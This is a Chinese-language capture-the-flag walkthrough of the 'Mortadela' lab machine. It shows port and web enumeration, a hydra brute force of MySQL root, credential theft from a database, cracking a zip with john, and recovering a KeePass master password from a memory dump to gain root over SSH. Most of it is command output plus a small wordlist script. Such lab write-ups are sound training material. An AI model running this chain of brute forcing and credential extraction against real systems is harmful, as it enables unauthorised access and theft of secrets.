Mortadela

image

信息搜集

192.168.43.168

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# rustscan -a 192.168.43.168 -- -A
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.43.168:22
Open 192.168.43.168:80
Open 192.168.43.168:3306
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.43.168
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-21 18:35 +0800
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 18:35
Completed NSE at 18:35, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 18:35
Completed NSE at 18:35, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 18:35
Completed NSE at 18:35, 0.00s elapsed
Initiating ARP Ping Scan at 18:35
Scanning 192.168.43.168 [1 port]
Completed ARP Ping Scan at 18:35, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:35
Completed Parallel DNS resolution of 1 host. at 18:35, 1.00s elapsed
DNS resolution of 1 IPs took 1.00s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 2, CN: 0]
Initiating SYN Stealth Scan at 18:35
Scanning 192.168.43.168 [3 ports]
Discovered open port 3306/tcp on 192.168.43.168
Discovered open port 22/tcp on 192.168.43.168
Discovered open port 80/tcp on 192.168.43.168
Completed SYN Stealth Scan at 18:35, 0.02s elapsed (3 total ports)
Initiating Service scan at 18:35
Scanning 3 services on 192.168.43.168
Completed Service scan at 18:35, 6.02s elapsed (3 services on 1 host)
Initiating OS detection (try #1) against 192.168.43.168
NSE: Script scanning 192.168.43.168.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 18:35
Completed NSE at 18:35, 0.21s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 18:35
Completed NSE at 18:35, 0.02s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 18:35
Completed NSE at 18:35, 0.00s elapsed
Nmap scan report for 192.168.43.168
Host is up, received arp-response (0.00066s latency).
Scanned at 2026-05-21 18:35:15 CST for 8s

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 aa:8d:e4:75:bc:f3:f8:5e:42:d0:ee:ca:e2:c4:0b:97 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCv+zG8LVzE4Ej88gQLOyfc9WwWHB2zfB3A/DPiiihYeYD+CWtwwTdI8oPZF1yXg8qCwzbw81hhCovHESbXrEaI=
|   256 ae:fd:91:ef:42:71:cb:11:b9:66:97:bf:ec:5b:d6:4b (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC5WjHTcCz/y7ILMqyKrV62BJGHC2dwfEFBPaLgLFwVf
80/tcp   open  http    syn-ack ttl 64 Apache httpd 2.4.57 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.57 (Debian)
3306/tcp open  mysql   syn-ack ttl 64 MariaDB 5.5.5-10.11.6
| mysql-info:
|   Protocol: 10
|   Version: 5.5.5-10.11.6-MariaDB-0+deb12u1
|   Thread ID: 34
|   Capabilities flags: 63486
|   Some Capabilities: SupportsLoadDataLocal, SupportsCompression, ODBCClient, InteractiveClient, Speaks41ProtocolOld, Support41Auth, SupportsTransactions, Speaks41ProtocolNew, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, FoundRows, LongColumnFlag, ConnectWithDatabase, DontAllowDatabaseTableColumn, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: J$p,($xRrf+ACn!Te}ff
|_  Auth Plugin Name: mysql_native_password
MAC Address: 08:00:27:A5:7D:F2 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=5/21%OT=22%CT=%CU=42644%PV=Y%DS=1%DC=D%G=N%M=080027%TM
OS:=6A0EDFEB%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10F%TI=Z%CI=Z%II=I%
OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5
OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=
OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S
OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R
OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N
OS:%T=40%CD=S)

Uptime guess: 37.769 days (since Tue Apr 14 00:08:14 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.66 ms 192.168.43.168

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 18:35
Completed NSE at 18:35, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 18:35
Completed NSE at 18:35, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 18:35
Completed NSE at 18:35, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.87 seconds
           Raw packets sent: 26 (1.938KB) | Rcvd: 18 (1.410KB)
  • 22 SSH
  • 80 HTTP
  • 3306 MYSQL

目录扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# gobuster dir -u http://192.168.43.168 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,back,cgi,jpg,json,md
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.43.168
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              cgi,jpg,json,md,php,txt,html,back
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.html           (Status: 200) [Size: 10701]
wordpress            (Status: 301) [Size: 320] [--> http://192.168.43.168/wordpress/]

有个wordpress站点

wordpress枚举

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
┌──(root㉿Eecho)-[~]
└─# wpscan --url http://192.168.43.168/wordpress/  --enumerate u,vp --plugins-detection aggressive
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.28
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like you have not updated the database for some time.




[+] URL: http://192.168.43.168/wordpress/ [192.168.43.168]
[+] Started: Thu May 21 18:38:29 2026

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.57 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.43.168/wordpress/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://192.168.43.168/wordpress/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://192.168.43.168/wordpress/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] WordPress version 6.4.3 identified (Insecure, released on 2024-01-30).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://192.168.43.168/wordpress/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=6.4.3'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://192.168.43.168/wordpress/, Match: 'WordPress 6.4.3'

[i] The main theme could not be detected.

[+] Enumerating Vulnerable Plugins (via Aggressive Methods)
 Checking Known Locations - Time: 00:00:12 <===============================================================================> (7343 / 7343) 100.00% Time: 00:00:12
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] No plugins Found.

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <===================================================================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] mortadela
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Thu May 21 18:40:15 2026
[+] Requests Done: 7396
[+] Cached Requests: 4
[+] Data Sent: 2.147 MB
[+] Data Received: 1.383 MB
[+] Memory used: 219.383 MB
[+] Elapsed time: 00:01:46

枚举到了一个用户mortadela，尝试爆破密码无果

‍

mysql枚举

爆破mysql的root密码

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://192.168.43.168
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-21 18:45:16
[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking mysql://192.168.43.168:3306/
[3306][mysql] host: 192.168.43.168   login: root   password: cassandra
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-21 18:45:34

登录到mysql

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# mysql -h 192.168.43.168 -u root -p'cassandra' --skip-ssl
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 28862
Server version: 10.11.6-MariaDB-0+deb12u1 Debian 12

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| confidencial       |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| wordpress          |
+--------------------+
6 rows in set (0.001 sec)

MariaDB [(none)]> use confidencial;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [confidencial]> show tables;
+------------------------+
| Tables_in_confidencial |
+------------------------+
| usuarios               |
+------------------------+
1 row in set (0.002 sec)

MariaDB [confidencial]> select * from usuarios;
+-----------+------------------+
| usuario   | contraseña       |
+-----------+------------------+
| mortadela | Juanikokukunero8 |
+-----------+------------------+
1 row in set (0.001 sec)

MariaDB [confidencial]>

在confidencial数据库里面成功获取到了mortadela用户的凭证

尝试ssh登录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# ssh mortadela@192.168.43.168
The authenticity of host '192.168.43.168 (192.168.43.168)' can't be established.
ED25519 key fingerprint is: SHA256:Fz7PwJctI/+Ds3Gb0sxp8WybHKUzhyFrlJbMQp7WNqg
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.43.168' (ED25519) to the list of known hosts.
mortadela@192.168.43.168's password:
Linux mortadela 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Apr  1 19:05:27 2024 from 192.168.0.105
mortadela@mortadela:~$ id
uid=1000(mortadela) gid=1000(mortadela) grupos=1000(mortadela),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
mortadela@mortadela:~$

‍

提权

mortadela -> root

/opt目录下有个zip压缩包，解压发现需要密码

image

image

scp到kali上爆破密码

1
2
3
4
5
6
7
8
mortadela@mortadela:/opt$ scp muyconfidencial.zip root@192.168.43.6:/tmp/bbbb
The authenticity of host '192.168.43.6 (192.168.43.6)' can't be established.
ED25519 key fingerprint is SHA256:ZyUbPteDlhKgfFR102PGhJUWNS++vR62HchhPFY2Cfw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.43.6' (ED25519) to the list of known hosts.
root@192.168.43.6's password:
muyconfidencial.zip

成功get到kali上了，使用zip2john提取hash并爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# zip2john muyconfidencial.zip > zip_hash.txt
ver 1.0 efh 5455 efh 7875 muyconfidencial.zip/Database.kdbx PKZIP Encr: 2b chk, TS_chk, cmplen=2170, decmplen=2158, crc=DF3016BC ts=9D09 cs=9d09 type=0
ver 2.0 efh 5455 efh 7875 muyconfidencial.zip/KeePass.DMP PKZIP Encr: TS_chk, cmplen=93049937, decmplen=267519983, crc=52EC3DC7 ts=9D79 cs=9d79 type=8
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt zip_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 24 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
pinkgirl         (muyconfidencial.zip)
1g 0:00:00:00 DONE (2026-05-21 19:24) 50.00g/s 2457Kp/s 2457Kc/s 2457KC/s 123456..trudy
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

成功爆破出密码，解压

1
2
3
4
5
6
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# unzip muyconfidencial.zip
Archive:  muyconfidencial.zip
[muyconfidencial.zip] Database.kdbx password:
 extracting: Database.kdbx
  inflating: KeePass.DMP

Keepass解密

Database.kdbx：这是一个 KeePass 密码管理器数据库。所有的账密、凭据通常都被加密保存在这个文件里。

KeePass.DMP：这是一个 KeePass 进程的内存转储文件（Memory Dump） 。

在 KeePass 2.x 的旧版本（小于 2.54）中，当用户在主密码输入框中输入密码时，由于 .NET 字符串处理机制的问题，密码的字符会残留在内存中。通过分析内存转储文件（如 KeePass.DMP），可以几乎完整地恢复出解密 .kdbx 数据库所需的主密码（Master Password） 。

使用keepass_dump提取密码

1
2
3
git clone https://github.com/z-jxy/keepass_dump.git
cd keepass_dump
python3 keepass_dump.py -f KeePass.DMP

image

成功获取到密码但是第一个字符并不知道还需要爆破

编写爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import string

# ================= 配置区域 =================
KNOWN_SUFFIX = 'aritrini12345'  # 泄露的密码后缀
OUTPUT_FILE = 'keepass_passwords.txt'  # 输出的字典文件名
# ============================================

def generate_dictionary():
    # 包含所有标准 ASCII 可见字符（大小写字母、数字、英文标点）以及空格
    charset = string.ascii_letters + string.digits + string.punctuation + " "
    
    try:
        with open(OUTPUT_FILE, 'w', encoding='utf-8') as f:
            for char in charset:
                # 组合第一个未知字符与已知后缀
                password = char + KNOWN_SUFFIX
                f.write(password + '\n')
        
        print(f"[+] 字典生成成功！共 {len(charset)} 行。")
        print(f"[+] 文件已保存至: {OUTPUT_FILE}")
        
    except Exception as e:
        print(f"[-] 写入文件失败: {e}")

if __name__ == "__main__":
    generate_dictionary()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# python3 pwd.py
[+] 字典生成成功！共 95 行。
[+] 文件已保存至: keepass_passwords.txt
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# keepass2john Database.kdbx > keepass.txt
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# john --wordlist=keepass_passwords.txt keepass.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 60000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 24 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Maritrini12345   (Database)
1g 0:00:00:00 DONE (2026-05-21 19:53) 16.66g/s 1583p/s 1583c/s 1583C/s aaritrini12345.. aritrini12345
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

查看数据文件

1
keepassxc Database.kdbx

image

image

成功获取到root用户的凭证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# ssh root@192.168.43.168
root@192.168.43.168's password:
Linux mortadela 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Apr  2 19:05:52 2024 from 192.168.0.104
root@mortadela:~# id
uid=0(root) gid=0(root) grupos=0(root)
root@mortadela:~#

‍